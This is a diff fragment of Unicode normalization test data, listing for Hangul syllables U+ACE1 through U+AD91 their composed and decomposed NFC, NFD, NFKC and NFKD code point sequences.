+{ source: [0xACE1], NFC: [0xACE1], NFD: [0x1100, 0x1169, 0x11A8], NFKC: [0xACE1], NFKD: [0x1100, 0x1169, 0x11A8] },
+{ source: [0xACE2], NFC: [0xACE2], NFD: [0x1100, 0x1169, 0x11A9], NFKC: [0xACE2], NFKD: [0x1100, 0x1169, 0x11A9] },
+{ source: [0xACE3], NFC: [0xACE3], NFD: [0x1100, 0x1169, 0x11AA], NFKC: [0xACE3], NFKD: [0x1100, 0x1169, 0x11AA] },
+{ source: [0xACE4], NFC: [0xACE4], NFD: [0x1100, 0x1169, 0x11AB], NFKC: [0xACE4], NFKD: [0x1100, 0x1169, 0x11AB] },
+{ source: [0xACE5], NFC: [0xACE5], NFD: [0x1100, 0x1169, 0x11AC], NFKC: [0xACE5], NFKD: [0x1100, 0x1169, 0x11AC] },
+{ source: [0xACE6], NFC: [0xACE6], NFD: [0x1100, 0x1169, 0x11AD], NFKC: [0xACE6], NFKD: [0x1100, 0x1169, 0x11AD] },
+{ source: [0xACE7], NFC: [0xACE7], NFD: [0x1100, 0x1169, 0x11AE], NFKC: [0xACE7], NFKD: [0x1100, 0x1169, 0x11AE] },
+{ source: [0xACE8], NFC: [0xACE8], NFD: [0x1100, 0x1169, 0x11AF], NFKC: [0xACE8], NFKD: [0x1100, 0x1169, 0x11AF] },
+{ source: [0xACE9], NFC: [0xACE9], NFD: [0x1100, 0x1169, 0x11B0], NFKC: [0xACE9], NFKD: [0x1100, 0x1169, 0x11B0] },
+{ source: [0xACEA], NFC: [0xACEA], NFD: [0x1100, 0x1169, 0x11B1], NFKC: [0xACEA], NFKD: [0x1100, 0x1169, 0x11B1] },
+{ source: [0xACEB], NFC: [0xACEB], NFD: [0x1100, 0x1169, 0x11B2], NFKC: [0xACEB], NFKD: [0x1100, 0x1169, 0x11B2] },
+{ source: [0xACEC], NFC: [0xACEC], NFD: [0x1100, 0x1169, 0x11B3], NFKC: [0xACEC], NFKD: [0x1100, 0x1169, 0x11B3] },
+{ source: [0xACED], NFC: [0xACED], NFD: [0x1100, 0x1169, 0x11B4], NFKC: [0xACED], NFKD: [0x1100, 0x1169, 0x11B4] },
+{ source: [0xACEE], NFC: [0xACEE], NFD: [0x1100, 0x1169, 0x11B5], NFKC: [0xACEE], NFKD: [0x1100, 0x1169, 0x11B5] },
+{ source: [0xACEF], NFC: [0xACEF], NFD: [0x1100, 0x1169, 0x11B6], NFKC: [0xACEF], NFKD: [0x1100, 0x1169, 0x11B6] },
+{ source: [0xACF0], NFC: [0xACF0], NFD: [0x1100, 0x1169, 0x11B7], NFKC: [0xACF0], NFKD: [0x1100, 0x1169, 0x11B7] },
+{ source: [0xACF1], NFC: [0xACF1], NFD: [0x1100, 0x1169, 0x11B8], NFKC: [0xACF1], NFKD: [0x1100, 0x1169, 0x11B8] },
+{ source: [0xACF2], NFC: [0xACF2], NFD: [0x1100, 0x1169, 0x11B9], NFKC: [0xACF2], NFKD: [0x1100, 0x1169, 0x11B9] },
+{ source: [0xACF3], NFC: [0xACF3], NFD: [0x1100, 0x1169, 0x11BA], NFKC: [0xACF3], NFKD: [0x1100, 0x1169, 0x11BA] },
+{ source: [0xACF4], NFC: [0xACF4], NFD: [0x1100, 0x1169, 0x11BB], NFKC: [0xACF4], NFKD: [0x1100, 0x1169, 0x11BB] },
+{ source: [0xACF5], NFC: [0xACF5], NFD: [0x1100, 0x1169, 0x11BC], NFKC: [0xACF5], NFKD: [0x1100, 0x1169, 0x11BC] },
+{ source: [0xACF6], NFC: [0xACF6], NFD: [0x1100, 0x1169, 0x11BD], NFKC: [0xACF6], NFKD: [0x1100, 0x1169, 0x11BD] },
+{ source: [0xACF7], NFC: [0xACF7], NFD: [0x1100, 0x1169, 0x11BE], NFKC: [0xACF7], NFKD: [0x1100, 0x1169, 0x11BE] },
+{ source: [0xACF8], NFC: [0xACF8], NFD: [0x1100, 0x1169, 0x11BF], NFKC: [0xACF8], NFKD: [0x1100, 0x1169, 0x11BF] },
+{ source: [0xACF9], NFC: [0xACF9], NFD: [0x1100, 0x1169, 0x11C0], NFKC: [0xACF9], NFKD: [0x1100, 0x1169, 0x11C0] },
+{ source: [0xACFA], NFC: [0xACFA], NFD: [0x1100, 0x1169, 0x11C1], NFKC: [0xACFA], NFKD: [0x1100, 0x1169, 0x11C1] },
+{ source: [0xACFB], NFC: [0xACFB], NFD: [0x1100, 0x1169, 0x11C2], NFKC: [0xACFB], NFKD: [0x1100, 0x1169, 0x11C2] },
+{ source: [0xACFC], NFC: [0xACFC], NFD: [0x1100, 0x116A], NFKC: [0xACFC], NFKD: [0x1100, 0x116A] },
+{ source: [0xACFD], NFC: [0xACFD], NFD: [0x1100, 0x116A, 0x11A8], NFKC: [0xACFD], NFKD: [0x1100, 0x116A, 0x11A8] },
+{ source: [0xACFE], NFC: [0xACFE], NFD: [0x1100, 0x116A, 0x11A9], NFKC: [0xACFE], NFKD: [0x1100, 0x116A, 0x11A9] },
+{ source: [0xACFF], NFC: [0xACFF], NFD: [0x1100, 0x116A, 0x11AA], NFKC: [0xACFF], NFKD: [0x1100, 0x116A, 0x11AA] },
+{ source: [0xAD00], NFC: [0xAD00], NFD: [0x1100, 0x116A, 0x11AB], NFKC: [0xAD00], NFKD: [0x1100, 0x116A, 0x11AB] },
+{ source: [0xAD01], NFC: [0xAD01], NFD: [0x1100, 0x116A, 0x11AC], NFKC: [0xAD01], NFKD: [0x1100, 0x116A, 0x11AC] },
+{ source: [0xAD02], NFC: [0xAD02], NFD: [0x1100, 0x116A, 0x11AD], NFKC: [0xAD02], NFKD: [0x1100, 0x116A, 0x11AD] },
+{ source: [0xAD03], NFC: [0xAD03], NFD: [0x1100, 0x116A, 0x11AE], NFKC: [0xAD03], NFKD: [0x1100, 0x116A, 0x11AE] },
+{ source: [0xAD04], NFC: [0xAD04], NFD: [0x1100, 0x116A, 0x11AF], NFKC: [0xAD04], NFKD: [0x1100, 0x116A, 0x11AF] },
+{ source: [0xAD05], NFC: [0xAD05], NFD: [0x1100, 0x116A, 0x11B0], NFKC: [0xAD05], NFKD: [0x1100, 0x116A, 0x11B0] },
+{ source: [0xAD06], NFC: [0xAD06], NFD: [0x1100, 0x116A, 0x11B1], NFKC: [0xAD06], NFKD: [0x1100, 0x116A, 0x11B1] },
+{ source: [0xAD07], NFC: [0xAD07], NFD: [0x1100, 0x116A, 0x11B2], NFKC: [0xAD07], NFKD: [0x1100, 0x116A, 0x11B2] },
+{ source: [0xAD08], NFC: [0xAD08], NFD: [0x1100, 0x116A, 0x11B3], NFKC: [0xAD08], NFKD: [0x1100, 0x116A, 0x11B3] },
+{ source: [0xAD09], NFC: [0xAD09], NFD: [0x1100, 0x116A, 0x11B4], NFKC: [0xAD09], NFKD: [0x1100, 0x116A, 0x11B4] },
+{ source: [0xAD0A], NFC: [0xAD0A], NFD: [0x1100, 0x116A, 0x11B5], NFKC: [0xAD0A], NFKD: [0x1100, 0x116A, 0x11B5] },
+{ source: [0xAD0B], NFC: [0xAD0B], NFD: [0x1100, 0x116A, 0x11B6], NFKC: [0xAD0B], NFKD: [0x1100, 0x116A, 0x11B6] },
+{ source: [0xAD0C], NFC: [0xAD0C], NFD: [0x1100, 0x116A, 0x11B7], NFKC: [0xAD0C], NFKD: [0x1100, 0x116A, 0x11B7] },
+{ source: [0xAD0D], NFC: [0xAD0D], NFD: [0x1100, 0x116A, 0x11B8], NFKC: [0xAD0D], NFKD: [0x1100, 0x116A, 0x11B8] },
+{ source: [0xAD0E], NFC: [0xAD0E], NFD: [0x1100, 0x116A, 0x11B9], NFKC: [0xAD0E], NFKD: [0x1100, 0x116A, 0x11B9] },
+{ source: [0xAD0F], NFC: [0xAD0F], NFD: [0x1100, 0x116A, 0x11BA], NFKC: [0xAD0F], NFKD: [0x1100, 0x116A, 0x11BA] },
+{ source: [0xAD10], NFC: [0xAD10], NFD: [0x1100, 0x116A, 0x11BB], NFKC: [0xAD10], NFKD: [0x1100, 0x116A, 0x11BB] },
+{ source: [0xAD11], NFC: [0xAD11], NFD: [0x1100, 0x116A, 0x11BC], NFKC: [0xAD11], NFKD: [0x1100, 0x116A, 0x11BC] },
+{ source: [0xAD12], NFC: [0xAD12], NFD: [0x1100, 0x116A, 0x11BD], NFKC: [0xAD12], NFKD: [0x1100, 0x116A, 0x11BD] },
+{ source: [0xAD13], NFC: [0xAD13], NFD: [0x1100, 0x116A, 0x11BE], NFKC: [0xAD13], NFKD: [0x1100, 0x116A, 0x11BE] },
+{ source: [0xAD14], NFC: [0xAD14], NFD: [0x1100, 0x116A, 0x11BF], NFKC: [0xAD14], NFKD: [0x1100, 0x116A, 0x11BF] },
+{ source: [0xAD15], NFC: [0xAD15], NFD: [0x1100, 0x116A, 0x11C0], NFKC: [0xAD15], NFKD: [0x1100, 0x116A, 0x11C0] },
+{ source: [0xAD16], NFC: [0xAD16], NFD: [0x1100, 0x116A, 0x11C1], NFKC: [0xAD16], NFKD: [0x1100, 0x116A, 0x11C1] },
+{ source: [0xAD17], NFC: [0xAD17], NFD: [0x1100, 0x116A, 0x11C2], NFKC: [0xAD17], NFKD: [0x1100, 0x116A, 0x11C2] },
+{ source: [0xAD18], NFC: [0xAD18], NFD: [0x1100, 0x116B], NFKC: [0xAD18], NFKD: [0x1100, 0x116B] },
+{ source: [0xAD19], NFC: [0xAD19], NFD: [0x1100, 0x116B, 0x11A8], NFKC: [0xAD19], NFKD: [0x1100, 0x116B, 0x11A8] },
+{ source: [0xAD1A], NFC: [0xAD1A], NFD: [0x1100, 0x116B, 0x11A9], NFKC: [0xAD1A], NFKD: [0x1100, 0x116B, 0x11A9] },
+{ source: [0xAD1B], NFC: [0xAD1B], NFD: [0x1100, 0x116B, 0x11AA], NFKC: [0xAD1B], NFKD: [0x1100, 0x116B, 0x11AA] },
+{ source: [0xAD1C], NFC: [0xAD1C], NFD: [0x1100, 0x116B, 0x11AB], NFKC: [0xAD1C], NFKD: [0x1100, 0x116B, 0x11AB] },
+{ source: [0xAD1D], NFC: [0xAD1D], NFD: [0x1100, 0x116B, 0x11AC], NFKC: [0xAD1D], NFKD: [0x1100, 0x116B, 0x11AC] },
+{ source: [0xAD1E], NFC: [0xAD1E], NFD: [0x1100, 0x116B, 0x11AD], NFKC: [0xAD1E], NFKD: [0x1100, 0x116B, 0x11AD] },
+{ source: [0xAD1F], NFC: [0xAD1F], NFD: [0x1100, 0x116B, 0x11AE], NFKC: [0xAD1F], NFKD: [0x1100, 0x116B, 0x11AE] },
+{ source: [0xAD20], NFC: [0xAD20], NFD: [0x1100, 0x116B, 0x11AF], NFKC: [0xAD20], NFKD: [0x1100, 0x116B, 0x11AF] },
+{ source: [0xAD21], NFC: [0xAD21], NFD: [0x1100, 0x116B, 0x11B0], NFKC: [0xAD21], NFKD: [0x1100, 0x116B, 0x11B0] },
+{ source: [0xAD22], NFC: [0xAD22], NFD: [0x1100, 0x116B, 0x11B1], NFKC: [0xAD22], NFKD: [0x1100, 0x116B, 0x11B1] },
+{ source: [0xAD23], NFC: [0xAD23], NFD: [0x1100, 0x116B, 0x11B2], NFKC: [0xAD23], NFKD: [0x1100, 0x116B, 0x11B2] },
+{ source: [0xAD24], NFC: [0xAD24], NFD: [0x1100, 0x116B, 0x11B3], NFKC: [0xAD24], NFKD: [0x1100, 0x116B, 0x11B3] },
+{ source: [0xAD25], NFC: [0xAD25], NFD: [0x1100, 0x116B, 0x11B4], NFKC: [0xAD25], NFKD: [0x1100, 0x116B, 0x11B4] },
+{ source: [0xAD26], NFC: [0xAD26], NFD: [0x1100, 0x116B, 0x11B5], NFKC: [0xAD26], NFKD: [0x1100, 0x116B, 0x11B5] },
+{ source: [0xAD27], NFC: [0xAD27], NFD: [0x1100, 0x116B, 0x11B6], NFKC: [0xAD27], NFKD: [0x1100, 0x116B, 0x11B6] },
+{ source: [0xAD28], NFC: [0xAD28], NFD: [0x1100, 0x116B, 0x11B7], NFKC: [0xAD28], NFKD: [0x1100, 0x116B, 0x11B7] },
+{ source: [0xAD29], NFC: [0xAD29], NFD: [0x1100, 0x116B, 0x11B8], NFKC: [0xAD29], NFKD: [0x1100, 0x116B, 0x11B8] },
+{ source: [0xAD2A], NFC: [0xAD2A], NFD: [0x1100, 0x116B, 0x11B9], NFKC: [0xAD2A], NFKD: [0x1100, 0x116B, 0x11B9] },
+{ source: [0xAD2B], NFC: [0xAD2B], NFD: [0x1100, 0x116B, 0x11BA], NFKC: [0xAD2B], NFKD: [0x1100, 0x116B, 0x11BA] },
+{ source: [0xAD2C], NFC: [0xAD2C], NFD: [0x1100, 0x116B, 0x11BB], NFKC: [0xAD2C], NFKD: [0x1100, 0x116B, 0x11BB] },
+{ source: [0xAD2D], NFC: [0xAD2D], NFD: [0x1100, 0x116B, 0x11BC], NFKC: [0xAD2D], NFKD: [0x1100, 0x116B, 0x11BC] },
+{ source: [0xAD2E], NFC: [0xAD2E], NFD: [0x1100, 0x116B, 0x11BD], NFKC: [0xAD2E], NFKD: [0x1100, 0x116B, 0x11BD] },
+{ source: [0xAD2F], NFC: [0xAD2F], NFD: [0x1100, 0x116B, 0x11BE], NFKC: [0xAD2F], NFKD: [0x1100, 0x116B, 0x11BE] },
+{ source: [0xAD30], NFC: [0xAD30], NFD: [0x1100, 0x116B, 0x11BF], NFKC: [0xAD30], NFKD: [0x1100, 0x116B, 0x11BF] },
+{ source: [0xAD31], NFC: [0xAD31], NFD: [0x1100, 0x116B, 0x11C0], NFKC: [0xAD31], NFKD: [0x1100, 0x116B, 0x11C0] },
+{ source: [0xAD32], NFC: [0xAD32], NFD: [0x1100, 0x116B, 0x11C1], NFKC: [0xAD32], NFKD: [0x1100, 0x116B, 0x11C1] },
+{ source: [0xAD33], NFC: [0xAD33], NFD: [0x1100, 0x116B, 0x11C2], NFKC: [0xAD33], NFKD: [0x1100, 0x116B, 0x11C2] },
+{ source: [0xAD34], NFC: [0xAD34], NFD: [0x1100, 0x116C], NFKC: [0xAD34], NFKD: [0x1100, 0x116C] },
+{ source: [0xAD35], NFC: [0xAD35], NFD: [0x1100, 0x116C, 0x11A8], NFKC: [0xAD35], NFKD: [0x1100, 0x116C, 0x11A8] },
+{ source: [0xAD36], NFC: [0xAD36], NFD: [0x1100, 0x116C, 0x11A9], NFKC: [0xAD36], NFKD: [0x1100, 0x116C, 0x11A9] },
+{ source: [0xAD37], NFC: [0xAD37], NFD: [0x1100, 0x116C, 0x11AA], NFKC: [0xAD37], NFKD: [0x1100, 0x116C, 0x11AA] },
+{ source: [0xAD38], NFC: [0xAD38], NFD: [0x1100, 0x116C, 0x11AB], NFKC: [0xAD38], NFKD: [0x1100, 0x116C, 0x11AB] },
+{ source: [0xAD39], NFC: [0xAD39], NFD: [0x1100, 0x116C, 0x11AC], NFKC: [0xAD39], NFKD: [0x1100, 0x116C, 0x11AC] },
+{ source: [0xAD3A], NFC: [0xAD3A], NFD: [0x1100, 0x116C, 0x11AD], NFKC: [0xAD3A], NFKD: [0x1100, 0x116C, 0x11AD] },
+{ source: [0xAD3B], NFC: [0xAD3B], NFD: [0x1100, 0x116C, 0x11AE], NFKC: [0xAD3B], NFKD: [0x1100, 0x116C, 0x11AE] },
+{ source: [0xAD3C], NFC: [0xAD3C], NFD: [0x1100, 0x116C, 0x11AF], NFKC: [0xAD3C], NFKD: [0x1100, 0x116C, 0x11AF] },
+{ source: [0xAD3D], NFC: [0xAD3D], NFD: [0x1100, 0x116C, 0x11B0], NFKC: [0xAD3D], NFKD: [0x1100, 0x116C, 0x11B0] },
+{ source: [0xAD3E], NFC: [0xAD3E], NFD: [0x1100, 0x116C, 0x11B1], NFKC: [0xAD3E], NFKD: [0x1100, 0x116C, 0x11B1] },
+{ source: [0xAD3F], NFC: [0xAD3F], NFD: [0x1100, 0x116C, 0x11B2], NFKC: [0xAD3F], NFKD: [0x1100, 0x116C, 0x11B2] },
+{ source: [0xAD40], NFC: [0xAD40], NFD: [0x1100, 0x116C, 0x11B3], NFKC: [0xAD40], NFKD: [0x1100, 0x116C, 0x11B3] },
+{ source: [0xAD41], NFC: [0xAD41], NFD: [0x1100, 0x116C, 0x11B4], NFKC: [0xAD41], NFKD: [0x1100, 0x116C, 0x11B4] },
+{ source: [0xAD42], NFC: [0xAD42], NFD: [0x1100, 0x116C, 0x11B5], NFKC: [0xAD42], NFKD: [0x1100, 0x116C, 0x11B5] },
+{ source: [0xAD43], NFC: [0xAD43], NFD: [0x1100, 0x116C, 0x11B6], NFKC: [0xAD43], NFKD: [0x1100, 0x116C, 0x11B6] },
+{ source: [0xAD44], NFC: [0xAD44], NFD: [0x1100, 0x116C, 0x11B7], NFKC: [0xAD44], NFKD: [0x1100, 0x116C, 0x11B7] },
+{ source: [0xAD45], NFC: [0xAD45], NFD: [0x1100, 0x116C, 0x11B8], NFKC: [0xAD45], NFKD: [0x1100, 0x116C, 0x11B8] },
+{ source: [0xAD46], NFC: [0xAD46], NFD: [0x1100, 0x116C, 0x11B9], NFKC: [0xAD46], NFKD: [0x1100, 0x116C, 0x11B9] },
+{ source: [0xAD47], NFC: [0xAD47], NFD: [0x1100, 0x116C, 0x11BA], NFKC: [0xAD47], NFKD: [0x1100, 0x116C, 0x11BA] },
+{ source: [0xAD48], NFC: [0xAD48], NFD: [0x1100, 0x116C, 0x11BB], NFKC: [0xAD48], NFKD: [0x1100, 0x116C, 0x11BB] },
+{ source: [0xAD49], NFC: [0xAD49], NFD: [0x1100, 0x116C, 0x11BC], NFKC: [0xAD49], NFKD: [0x1100, 0x116C, 0x11BC] },
+{ source: [0xAD4A], NFC: [0xAD4A], NFD: [0x1100, 0x116C, 0x11BD], NFKC: [0xAD4A], NFKD: [0x1100, 0x116C, 0x11BD] },
+{ source: [0xAD4B], NFC: [0xAD4B], NFD: [0x1100, 0x116C, 0x11BE], NFKC: [0xAD4B], NFKD: [0x1100, 0x116C, 0x11BE] },
+{ source: [0xAD4C], NFC: [0xAD4C], NFD: [0x1100, 0x116C, 0x11BF], NFKC: [0xAD4C], NFKD: [0x1100, 0x116C, 0x11BF] },
+{ source: [0xAD4D], NFC: [0xAD4D], NFD: [0x1100, 0x116C, 0x11C0], NFKC: [0xAD4D], NFKD: [0x1100, 0x116C, 0x11C0] },
+{ source: [0xAD4E], NFC: [0xAD4E], NFD: [0x1100, 0x116C, 0x11C1], NFKC: [0xAD4E], NFKD: [0x1100, 0x116C, 0x11C1] },
+{ source: [0xAD4F], NFC: [0xAD4F], NFD: [0x1100, 0x116C, 0x11C2], NFKC: [0xAD4F], NFKD: [0x1100, 0x116C, 0x11C2] },
+{ source: [0xAD50], NFC: [0xAD50], NFD: [0x1100, 0x116D], NFKC: [0xAD50], NFKD: [0x1100, 0x116D] },
+{ source: [0xAD51], NFC: [0xAD51], NFD: [0x1100, 0x116D, 0x11A8], NFKC: [0xAD51], NFKD: [0x1100, 0x116D, 0x11A8] },
+{ source: [0xAD52], NFC: [0xAD52], NFD: [0x1100, 0x116D, 0x11A9], NFKC: [0xAD52], NFKD: [0x1100, 0x116D, 0x11A9] },
+{ source: [0xAD53], NFC: [0xAD53], NFD: [0x1100, 0x116D, 0x11AA], NFKC: [0xAD53], NFKD: [0x1100, 0x116D, 0x11AA] },
+{ source: [0xAD54], NFC: [0xAD54], NFD: [0x1100, 0x116D, 0x11AB], NFKC: [0xAD54], NFKD: [0x1100, 0x116D, 0x11AB] },
+{ source: [0xAD55], NFC: [0xAD55], NFD: [0x1100, 0x116D, 0x11AC], NFKC: [0xAD55], NFKD: [0x1100, 0x116D, 0x11AC] },
+{ source: [0xAD56], NFC: [0xAD56], NFD: [0x1100, 0x116D, 0x11AD], NFKC: [0xAD56], NFKD: [0x1100, 0x116D, 0x11AD] },
+{ source: [0xAD57], NFC: [0xAD57], NFD: [0x1100, 0x116D, 0x11AE], NFKC: [0xAD57], NFKD: [0x1100, 0x116D, 0x11AE] },
+{ source: [0xAD58], NFC: [0xAD58], NFD: [0x1100, 0x116D, 0x11AF], NFKC: [0xAD58], NFKD: [0x1100, 0x116D, 0x11AF] },
+{ source: [0xAD59], NFC: [0xAD59], NFD: [0x1100, 0x116D, 0x11B0], NFKC: [0xAD59], NFKD: [0x1100, 0x116D, 0x11B0] },
+{ source: [0xAD5A], NFC: [0xAD5A], NFD: [0x1100, 0x116D, 0x11B1], NFKC: [0xAD5A], NFKD: [0x1100, 0x116D, 0x11B1] },
+{ source: [0xAD5B], NFC: [0xAD5B], NFD: [0x1100, 0x116D, 0x11B2], NFKC: [0xAD5B], NFKD: [0x1100, 0x116D, 0x11B2] },
+{ source: [0xAD5C], NFC: [0xAD5C], NFD: [0x1100, 0x116D, 0x11B3], NFKC: [0xAD5C], NFKD: [0x1100, 0x116D, 0x11B3] },
+{ source: [0xAD5D], NFC: [0xAD5D], NFD: [0x1100, 0x116D, 0x11B4], NFKC: [0xAD5D], NFKD: [0x1100, 0x116D, 0x11B4] },
+{ source: [0xAD5E], NFC: [0xAD5E], NFD: [0x1100, 0x116D, 0x11B5], NFKC: [0xAD5E], NFKD: [0x1100, 0x116D, 0x11B5] },
+{ source: [0xAD5F], NFC: [0xAD5F], NFD: [0x1100, 0x116D, 0x11B6], NFKC: [0xAD5F], NFKD: [0x1100, 0x116D, 0x11B6] },
+{ source: [0xAD60], NFC: [0xAD60], NFD: [0x1100, 0x116D, 0x11B7], NFKC: [0xAD60], NFKD: [0x1100, 0x116D, 0x11B7] },
+{ source: [0xAD61], NFC: [0xAD61], NFD: [0x1100, 0x116D, 0x11B8], NFKC: [0xAD61], NFKD: [0x1100, 0x116D, 0x11B8] },
+{ source: [0xAD62], NFC: [0xAD62], NFD: [0x1100, 0x116D, 0x11B9], NFKC: [0xAD62], NFKD: [0x1100, 0x116D, 0x11B9] },
+{ source: [0xAD63], NFC: [0xAD63], NFD: [0x1100, 0x116D, 0x11BA], NFKC: [0xAD63], NFKD: [0x1100, 0x116D, 0x11BA] },
+{ source: [0xAD64], NFC: [0xAD64], NFD: [0x1100, 0x116D, 0x11BB], NFKC: [0xAD64], NFKD: [0x1100, 0x116D, 0x11BB] },
+{ source: [0xAD65], NFC: [0xAD65], NFD: [0x1100, 0x116D, 0x11BC], NFKC: [0xAD65], NFKD: [0x1100, 0x116D, 0x11BC] },
+{ source: [0xAD66], NFC: [0xAD66], NFD: [0x1100, 0x116D, 0x11BD], NFKC: [0xAD66], NFKD: [0x1100, 0x116D, 0x11BD] },
+{ source: [0xAD67], NFC: [0xAD67], NFD: [0x1100, 0x116D, 0x11BE], NFKC: [0xAD67], NFKD: [0x1100, 0x116D, 0x11BE] },
+{ source: [0xAD68], NFC: [0xAD68], NFD: [0x1100, 0x116D, 0x11BF], NFKC: [0xAD68], NFKD: [0x1100, 0x116D, 0x11BF] },
+{ source: [0xAD69], NFC: [0xAD69], NFD: [0x1100, 0x116D, 0x11C0], NFKC: [0xAD69], NFKD: [0x1100, 0x116D, 0x11C0] },
+{ source: [0xAD6A], NFC: [0xAD6A], NFD: [0x1100, 0x116D, 0x11C1], NFKC: [0xAD6A], NFKD: [0x1100, 0x116D, 0x11C1] },
+{ source: [0xAD6B], NFC: [0xAD6B], NFD: [0x1100, 0x116D, 0x11C2], NFKC: [0xAD6B], NFKD: [0x1100, 0x116D, 0x11C2] },
+{ source: [0xAD6C], NFC: [0xAD6C], NFD: [0x1100, 0x116E], NFKC: [0xAD6C], NFKD: [0x1100, 0x116E] },
+{ source: [0xAD6D], NFC: [0xAD6D], NFD: [0x1100, 0x116E, 0x11A8], NFKC: [0xAD6D], NFKD: [0x1100, 0x116E, 0x11A8] },
+{ source: [0xAD6E], NFC: [0xAD6E], NFD: [0x1100, 0x116E, 0x11A9], NFKC: [0xAD6E], NFKD: [0x1100, 0x116E, 0x11A9] },
+{ source: [0xAD6F], NFC: [0xAD6F], NFD: [0x1100, 0x116E, 0x11AA], NFKC: [0xAD6F], NFKD: [0x1100, 0x116E, 0x11AA] },
+{ source: [0xAD70], NFC: [0xAD70], NFD: [0x1100, 0x116E, 0x11AB], NFKC: [0xAD70], NFKD: [0x1100, 0x116E, 0x11AB] },
+{ source: [0xAD71], NFC: [0xAD71], NFD: [0x1100, 0x116E, 0x11AC], NFKC: [0xAD71], NFKD: [0x1100, 0x116E, 0x11AC] },
+{ source: [0xAD72], NFC: [0xAD72], NFD: [0x1100, 0x116E, 0x11AD], NFKC: [0xAD72], NFKD: [0x1100, 0x116E, 0x11AD] },
+{ source: [0xAD73], NFC: [0xAD73], NFD: [0x1100, 0x116E, 0x11AE], NFKC: [0xAD73], NFKD: [0x1100, 0x116E, 0x11AE] },
+{ source: [0xAD74], NFC: [0xAD74], NFD: [0x1100, 0x116E, 0x11AF], NFKC: [0xAD74], NFKD: [0x1100, 0x116E, 0x11AF] },
+{ source: [0xAD75], NFC: [0xAD75], NFD: [0x1100, 0x116E, 0x11B0], NFKC: [0xAD75], NFKD: [0x1100, 0x116E, 0x11B0] },
+{ source: [0xAD76], NFC: [0xAD76], NFD: [0x1100, 0x116E, 0x11B1], NFKC: [0xAD76], NFKD: [0x1100, 0x116E, 0x11B1] },
+{ source: [0xAD77], NFC: [0xAD77], NFD: [0x1100, 0x116E, 0x11B2], NFKC: [0xAD77], NFKD: [0x1100, 0x116E, 0x11B2] },
+{ source: [0xAD78], NFC: [0xAD78], NFD: [0x1100, 0x116E, 0x11B3], NFKC: [0xAD78], NFKD: [0x1100, 0x116E, 0x11B3] },
+{ source: [0xAD79], NFC: [0xAD79], NFD: [0x1100, 0x116E, 0x11B4], NFKC: [0xAD79], NFKD: [0x1100, 0x116E, 0x11B4] },
+{ source: [0xAD7A], NFC: [0xAD7A], NFD: [0x1100, 0x116E, 0x11B5], NFKC: [0xAD7A], NFKD: [0x1100, 0x116E, 0x11B5] },
+{ source: [0xAD7B], NFC: [0xAD7B], NFD: [0x1100, 0x116E, 0x11B6], NFKC: [0xAD7B], NFKD: [0x1100, 0x116E, 0x11B6] },
+{ source: [0xAD7C], NFC: [0xAD7C], NFD: [0x1100, 0x116E, 0x11B7], NFKC: [0xAD7C], NFKD: [0x1100, 0x116E, 0x11B7] },
+{ source: [0xAD7D], NFC: [0xAD7D], NFD: [0x1100, 0x116E, 0x11B8], NFKC: [0xAD7D], NFKD: [0x1100, 0x116E, 0x11B8] },
+{ source: [0xAD7E], NFC: [0xAD7E], NFD: [0x1100, 0x116E, 0x11B9], NFKC: [0xAD7E], NFKD: [0x1100, 0x116E, 0x11B9] },
+{ source: [0xAD7F], NFC: [0xAD7F], NFD: [0x1100, 0x116E, 0x11BA], NFKC: [0xAD7F], NFKD: [0x1100, 0x116E, 0x11BA] },
+{ source: [0xAD80], NFC: [0xAD80], NFD: [0x1100, 0x116E, 0x11BB], NFKC: [0xAD80], NFKD: [0x1100, 0x116E, 0x11BB] },
+{ source: [0xAD81], NFC: [0xAD81], NFD: [0x1100, 0x116E, 0x11BC], NFKC: [0xAD81], NFKD: [0x1100, 0x116E, 0x11BC] },
+{ source: [0xAD82], NFC: [0xAD82], NFD: [0x1100, 0x116E, 0x11BD], NFKC: [0xAD82], NFKD: [0x1100, 0x116E, 0x11BD] },
+{ source: [0xAD83], NFC: [0xAD83], NFD: [0x1100, 0x116E, 0x11BE], NFKC: [0xAD83], NFKD: [0x1100, 0x116E, 0x11BE] },
+{ source: [0xAD84], NFC: [0xAD84], NFD: [0x1100, 0x116E, 0x11BF], NFKC: [0xAD84], NFKD: [0x1100, 0x116E, 0x11BF] },
+{ source: [0xAD85], NFC: [0xAD85], NFD: [0x1100, 0x116E, 0x11C0], NFKC: [0xAD85], NFKD: [0x1100, 0x116E, 0x11C0] },
+{ source: [0xAD86], NFC: [0xAD86], NFD: [0x1100, 0x116E, 0x11C1], NFKC: [0xAD86], NFKD: [0x1100, 0x116E, 0x11C1] },
+{ source: [0xAD87], NFC: [0xAD87], NFD: [0x1100, 0x116E, 0x11C2], NFKC: [0xAD87], NFKD: [0x1100, 0x116E, 0x11C2] },
+{ source: [0xAD88], NFC: [0xAD88], NFD: [0x1100, 0x116F], NFKC: [0xAD88], NFKD: [0x1100, 0x116F] },
+{ source: [0xAD89], NFC: [0xAD89], NFD: [0x1100, 0x116F, 0x11A8], NFKC: [0xAD89], NFKD: [0x1100, 0x116F, 0x11A8] },
+{ source: [0xAD8A], NFC: [0xAD8A], NFD: [0x1100, 0x116F, 0x11A9], NFKC: [0xAD8A], NFKD: [0x1100, 0x116F, 0x11A9] },
+{ source: [0xAD8B], NFC: [0xAD8B], NFD: [0x1100, 0x116F, 0x11AA], NFKC: [0xAD8B], NFKD: [0x1100, 0x116F, 0x11AA] },
+{ source: [0xAD8C], NFC: [0xAD8C], NFD: [0x1100, 0x116F, 0x11AB], NFKC: [0xAD8C], NFKD: [0x1100, 0x116F, 0x11AB] },
+{ source: [0xAD8D], NFC: [0xAD8D], NFD: [0x1100, 0x116F, 0x11AC], NFKC: [0xAD8D], NFKD: [0x1100, 0x116F, 0x11AC] },
+{ source: [0xAD8E], NFC: [0xAD8E], NFD: [0x1100, 0x116F, 0x11AD], NFKC: [0xAD8E], NFKD: [0x1100, 0x116F, 0x11AD] },
+{ source: [0xAD8F], NFC: [0xAD8F], NFD: [0x1100, 0x116F, 0x11AE], NFKC: [0xAD8F], NFKD: [0x1100, 0x116F, 0x11AE] },
+{ source: [0xAD90], NFC: [0xAD90], NFD: [0x1100, 0x116F, 0x11AF], NFKC: [0xAD90], NFKD: [0x1100, 0x116F, 0x11AF] },
+{ source: [0xAD91], NFC: [0xAD91], NFD: [0x1100, 0x116F, 0x11B0], NFKC: [0xAD91], NFKD: [0x1100, 0x116F, 0x11B0] },
